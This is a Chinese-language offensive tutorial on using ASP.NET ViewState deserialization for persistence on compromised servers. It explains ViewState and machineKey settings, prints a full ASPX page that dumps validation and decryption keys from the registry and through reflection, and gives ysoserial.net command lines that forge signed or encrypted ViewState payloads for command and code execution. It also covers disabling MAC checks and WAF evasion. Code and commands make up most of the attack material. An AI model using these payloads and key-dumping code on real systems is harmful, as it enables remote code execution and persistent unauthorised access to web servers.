利用.NET 反序列化做权限维持

#ViewState 基本概念

HTTP模型是无状态的,这意味着每当客户端向服务端发起一个获取页面的请求时,都会导致服务端创建一个新的page类的实例,并且一个往返之后,这个page实例会被立刻销毁。如果想获取上一次请求的page实例的值,就可以利用VewState。

ASP.NET Web 应用程序使用ViewState来维护页面状态,并在Web表单中保留数据(当设置了ViewState runat = "server" 后,会有一个隐藏字段_ViewState)。一个页面被返回给客户端时,页面及其控件属性的变化将被确定,并存储在一个名为 _VIEWSTATE 的隐藏输入字段的值中。当页面再次向服务端发送请求时,_VIEWSTATE 字段将与HTTP请求一起发送到服务器。服务端对ViewState进行反序列化,获得属性,并赋给控件对应的值。

#反序列化与参数介绍

  1. 序列化

    ASP.NET 有各种序列化和反序列化库称为 formatter ,它序列化对象到字节流。如 ObjectStateFormatter、LOSFormatter、BinaryFormatter等。ASP.NET 使用LosFormatter序列化 ViewState,并将其作为隐藏的表单字段发送到客户端。一旦序列化ViewState 在 POST 请求期间被发送回服务器,它将使用 ObjectStateFormatter 进行反序列化。

  2. 相关参数

    在web.config 可以使用以下的参数来开启或关闭ViewState的一些功能,例如:

    <pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Always" />

    • 配置ViewStateEncryptionMode="Always"来启用ViewState的加密(仅影响ViewState的生成,不影响它的解密),保证ViewState不会发生信息泄露。(Always表示始终加密,Auto为默认值,表示调用RegisterRequiresViewStateEncryption() 方法请求才进行加密,Never表示永远不会对其进行加密)
    • 配置enableViewStateMac="true" 在ViewState 中启用 MAC(消息身份验证代码,保证 ViewState 不受篡改,在反序列化期间对 ViewState 的值进行完整性检查)。
    • 配置 enableViewState 用于设置是否开启viewState,但即使设置为false,ASP.NET服务器也始终被动解析 ViewState。

    Tips: 从.NET 4.5.2 开始,强制启用ViewStateMac功能,即使将 EnableViewStateMac设置为false,也不能禁止ViewState的校验。

#获取 MachineKey

  1. 如果主动在Web.config 配置,则读取Web.config即可。

    1
    2
    3
    4
    5
    6
    7
    8
    
     <!--目前在最新版本的.NET Framework中,默认的验证算法是HMACSHA256,默认的解密算法是AES。-->
     <?xml version="1.0" encoding="UTF-8"?>
     <configuration>
     <system.web>
     <customErrors mode="Off" />
     <machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />
     </system.web>
     </configuration>
    
  2. 通过注册表或反射从System.Web中获取。

    参考:https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    
    <%@ Page Language="C#" %>
    <%
    // Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
    Response.Write("<br/><hr/>");
    byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
    if(autoGenKeyV4!=null)
    	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
    Response.Write("<br/>");
    byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
    if(autoGenKey!=null)
    	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\AutoGenKey: "+BitConverter.ToString(autoGenKey).Replace("-", string.Empty));
    Response.Write("<br/><hr/>");
    var systemWebAsm = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
    var machineKeySectionType = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
    var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
    var config = (System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null, new object[0]);
    Response.Write("<b>ValidationKey:</b> "+config.ValidationKey);
    Response.Write("<br/>");
    Response.Write("<b>DecryptionKey:</b> "+ config.DecryptionKey);
    Response.Write("<br/><hr/>");
    var typeMachineKeyMasterKeyProvider = systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
    var instance = typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(
    	typeMachineKeyMasterKeyProvider.FullName, false,
    	System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic,
    	null, new object[] { config, null, null, null, null }, null, null);
    var validationKey = typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance, new object[0]);
    byte[] _validationKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey, new object[0]);
    var encryptionKey = typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance, new object[0]);
    byte[] _decryptionKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey, new object[0]);
    Response.Write("<br/><b>ASP.NET 4.5 and above:</b><br/>");
    Response.Write("<br/>");
    Response.Write("<b>validationAlg:</b> "+config.Validation);
    Response.Write("<br/>");
    Response.Write("<b>validationKey:</b> "+BitConverter.ToString(_validationKey).Replace("-", string.Empty));
    Response.Write("<br/>");
    Response.Write("<b>decryptionAlg:</b> "+config.Decryption);
    Response.Write("<br/>");
    Response.Write("<b>decryptionKey:</b> "+BitConverter.ToString(_decryptionKey).Replace("-", string.Empty));
    Response.Write("<br/><hr/>");
    Response.Write("<br/><b>ASP.NET 4.0 and below:</b><br/>");
    byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
    int validationKeySize = 64;
    int decryptionKeySize = 24;
    byte[] validationKeyAuto = new byte[validationKeySize];
    byte[] decryptionKeyAuto = new byte[decryptionKeySize];
    System.Buffer.BlockCopy(autogenKeys, 0, validationKeyAuto, 0, validationKeySize);
    System.Buffer.BlockCopy(autogenKeys, validationKeySize, decryptionKeyAuto, 0, decryptionKeySize);
    string appName = HttpRuntime.AppDomainAppVirtualPath;
    string appId = HttpRuntime.AppDomainAppId;
    Response.Write("<br/>");
    Response.Write("<b>appName:</b> "+appName);
    Response.Write("<br/>");
    Response.Write("<b>appId:</b> "+appId);
    Response.Write("<br/>");
    Response.Write("<b>initial validationKey (not useful for direct use):</b> ");
    Response.Write(BitConverter.ToString(validationKeyAuto).Replace("-", string.Empty));
    Response.Write("<br/>");
    Response.Write("<b>initial decryptionKey (not useful for direct use):</b> ");
    Response.Write(BitConverter.ToString(decryptionKeyAuto).Replace("-", string.Empty));
    Response.Write("<br/>");
    byte[] _validationKeyAutoAppSpecific = validationKeyAuto.ToArray();
    int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
    _validationKeyAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
    _validationKeyAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
    _validationKeyAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
    _validationKeyAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
    Response.Write("<b>App specific ValidationKey (when uses IsolateApps):</b> ");
    Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-", string.Empty));
    Response.Write("<br/>");
    byte[] _validationKeyAutoAppIdSpecific = validationKeyAuto.ToArray();
    int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
    _validationKeyAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
    _validationKeyAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
    _validationKeyAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
    _validationKeyAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
    Response.Write("<b>AppId Auto specific ValidationKey (when uses IsolateByAppId):</b> ");
    Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-", string.Empty));
    Response.Write("<br/>");
    byte[] _decryptionKeyAutoAutoAppSpecific = decryptionKeyAuto.ToArray();
    //int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
    _decryptionKeyAutoAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
    _decryptionKeyAutoAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
    _decryptionKeyAutoAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
    _decryptionKeyAutoAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
    Response.Write("<b>App specific DecryptionKey (when uses IsolateApps):</b> ");
    Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppSpecific).Replace("-", string.Empty));
    Response.Write("<br/>");
    byte[] _decryptionKeyAutoAutoAppIdSpecific = decryptionKeyAuto.ToArray();
    //int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
    _decryptionKeyAutoAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
    _decryptionKeyAutoAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
    _decryptionKeyAutoAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
    _decryptionKeyAutoAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
    Response.Write("<b>AppId Auto specific DecryptionKey (when uses IsolateByAppId):</b> ");
    Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppIdSpecific).Replace("-", string.Empty));
    Response.Write("<br/>");
    %>
    

#Payload 利用

生成ViewState需要禁用MAC验证或在(ASP.NET 4.0及以前版本知道验证密钥及其算法,ASP.NET 4.5及以后知道验证密钥、验证算法、解密密钥和解密算法)。

Tips: 即使目标从HTTP请求中删除了ViewState,也不影响利用,添加ViewState参数依旧会解析。

ysoserial.net

  1. ASP.NET 4.0及以下(不需要指定decryptionKey及其算法)

    执行命令

    1
    2
    3
    4
    5
    
    #知道generator就用--generator指定,就不用--apppath和--path参数了
    ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > C:\windows\temp\ss.txt" --validationalg="HMACSHA256" --validationkey="B298BA4E89C9631254E60F7C6E60B3287554B5175906E3CF8C446D9D5EAB496CEA7C76460CBC3095A7ABFC9C71BBE7CA5276CD412BE2F5F142C0F7624062734E" --apppath="/" --path="/test.aspx" --islegacy --isdebug
    #--isencrypted参数可以加密__VIEWSTATE参数以绕过WAF
    #使用加密需要指定decryptionkey,并且在post请求中添加:__VIEWSTATEENCRYPTED=true参数
    ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > C:\windows\temp\ss.txt" --validationalg="SHA1" --validationkey="B298BA4EFAF9568A702CECFE5C138BA1939E726D2DDE65EFBF940AA2A51BB580F6A4FAFB75B152F849C38B6417E9D2193737DA22D7AF63E210BF0FC37569CB53" --decryptionalg="AES" --decryptionkey="B298BA4EB3474EAE783D6A3295021698ECB183CDC9D407F1" --apppath="/" --path="/test.aspx" --islegacy --isdebug --isencrypted
    
  2. ASP.NET 4.5及以上

    执行命令

    1
    
    ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > C:\windows\temp\ss.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="3CEA67326F7D94ED9420C9686CEC65320EEA136215EE2A15" --validationalg="HMACSHA256" --validationkey="80A244313D442AFC027753337BC66F106E617EB5D56B540CEAF9595272002C4B"
    
  3. 禁用MAC验证的情况下利用

    判断是否被禁用: 发送 __VIEWSTATE=AAAA 如果被没被禁用是会有MAC的报错的,但具体视实际情况而定。

    ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo 123 > C:\inetpub\wwwroot\ss2.txt"

    禁用MAC的方法:

    • 在未打补丁的机器,直接web.config配置

      1
      2
      3
      4
      5
      6
      7
      
      <?xml version="1.0" encoding="UTF-8"?>
      <configuration>
      <system.web>
      <customErrors mode="Off" />
      <pages enableViewStateMac="false" />
      </system.web>
      </configuration>
      
    • 打了补丁的机器,可以通过注册表禁用

      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

      添加AspNetEnforceViewStateMac的值为0(重启生效)

在有ViewStateUserKey的情况下:

ViewStateUserKey 属性可用于抵御 CSRF 攻击。如果目标配置了ViewStateUserKey,那么需要将--viewstateuserkey参数传递给ysoserial 生成Payload,不然是不会执行payload的。

#反序列化执行代码

如果要用ActivitySurrogateSelectorFromFile链执行代码,且目标在ASP.NET 4.8以上,需要先DisableTypeCheck。不然直接用这条链打的话,会报state到Pair的转换错误。

1
ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "aaa" --validationalg="HMACSHA256" --validationkey="B298BA4E89C9631254E60F7C6E60B3287554B5175906E3CF8C446D9D5EAB496CEA7C76460CBC3095A7ABFC9C71BBE7CA5276CD412BE2F5F142C0F7624062734E" --generator="5F3023B1" --decryptionalg="AES" --decryptionkey="B298BA4EB3474EAE783D6A3295021698ECB183CDC9D407F1" --islegacy --isdebug --isencrypted

然后再利用ActivitySurrogateSelectorFromFile链执行代码。在code.cs中,写一个类(把需要执行的代码写在构造函数或者静态代码块中)反序列化时会实例化该类。

1
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "code.cs;System.Web.dll;System.dll;" --validationalg="HMACSHA256" --validationkey="B298BA4E89C9631254E60F7C6E60B3287554B5175906E3CF8C446D9D5EAB496CEA7C76460CBC3095A7ABFC9C71BBE7CA5276CD412BE2F5F142C0F7624062734E" --generator="5F3023B1" --decryptionalg="AES" --decryptionkey="B298BA4EB3474EAE783D6A3295021698ECB183CDC9D407F1" --islegacy --isdebug --isencrypted

#测试代码

Tips: 测试的时候切换到ASP.NET 4.5,在Web.config 中配置<httpRuntime targetFramework="4.5" />

test.aspx

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
        <asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
                 Text="GO" class="btn"/>
  <br />
        <asp:Label ID="Label1" runat="server"></asp:Label>
    </form>
</body>
</html>

hello.aspx.cs

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        }
    protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
        }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

#参考

  1. 如何借助ViewState在ASP.NET中实现反序列化漏洞利用

  2. 深入 .NET ViewState 反序列化及其利用

加载评论